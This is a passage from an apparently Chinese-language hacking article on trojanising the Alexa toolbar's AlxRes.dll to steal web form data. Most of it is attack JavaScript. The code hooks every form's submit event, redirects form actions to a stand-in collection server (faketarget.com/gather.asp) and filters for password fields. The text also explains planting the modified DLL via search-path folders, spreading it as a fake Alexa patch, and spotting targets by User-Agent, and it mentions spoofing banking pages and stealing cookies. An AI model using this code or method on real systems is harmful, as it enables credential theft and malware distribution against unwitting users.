获网页表单的内容
上面讲的东西有些类似于"跨站点脚本执行漏洞"。先来看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函数:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);
该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的Windows对象。黑客可以添加如下代码:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms.onsubmit=test;
}
}catch(e){}
return false;
}
这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:
function test()
{
try{
window.alert("I can get the value!");
for(i=0;i<this.length;i++)
{
if(this.elements.name!="")
{
window.alert(this.elements.name+":"+this.elements.value);
//do some thing
}
}
}catch(e){}
return true;
}
不过用这种方法存在一点弊端:当表单是通过JavaScript语句"Submit()"提交时,不会产生"OnSubmit"事件,上面的代码也就无法纪录下表单的内容了。黑客还可以采用更高级的方法----改变表单提交地址的方法来解决这个问题:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i<oWebBrowser2.document.forms.length;i++)
{
oWebBrowser2.document.forms.innerHTML=oWebBrowser2.document.forms.innerHTML+"<input name=OriginalAction type=hidden value='"+oWebBrowser2.document.forms.action+"'";
oWebBrowser2.document.forms.action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}
散布和植入木马
以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以,只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings[username]\桌面"这两个路径下搜索AlxRes.dll,所以也可以把修改过的AlxRes.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,这里黑客可以利用一些IE漏洞去Exploit。
安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar(图7)"的标记,所以很容易区分目标的IE是否已经安装了Alexa工具条:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)
也可以修改Alexa的安装文件,或者以Alexa补丁的名义来发布。
收集密码
黑客可以用FileSystemObject控件来将表单内容纪录到文件,或者直接作为参数发送到某个Web服务器,由Web服务器收集记录下来。为了在客户端过滤一些不包含密码的表单,黑客可以在AlxRes.dll的代码中对收集的表单数据进行一些检查:
function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i<this.length;i++)
{
if(this.elements.name!="")
{
if(this.elements.type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements.name+"="+this.elements.value+"&";
}
}
if(IsPwdForm)
{
//表单包含密码文本,进行收集
}
}catch(e){}
return true;
}
其他的应用
大多数的网上银行登录界面是由ActiveX控件实现的,无法截获表单数据,但是可以通过"oWebBrowser2"对象来操纵、修改浏览的页面,也有可能伪造一个网上银行的登陆界面.还可以用来收集用户浏览网页的纪录,也可以用来窃取用户COOKIE等,所以造成的危害是不可想像的.
怎么样?是不是很害怕!没有想到连Alexa也会有这样的安全隐患吧!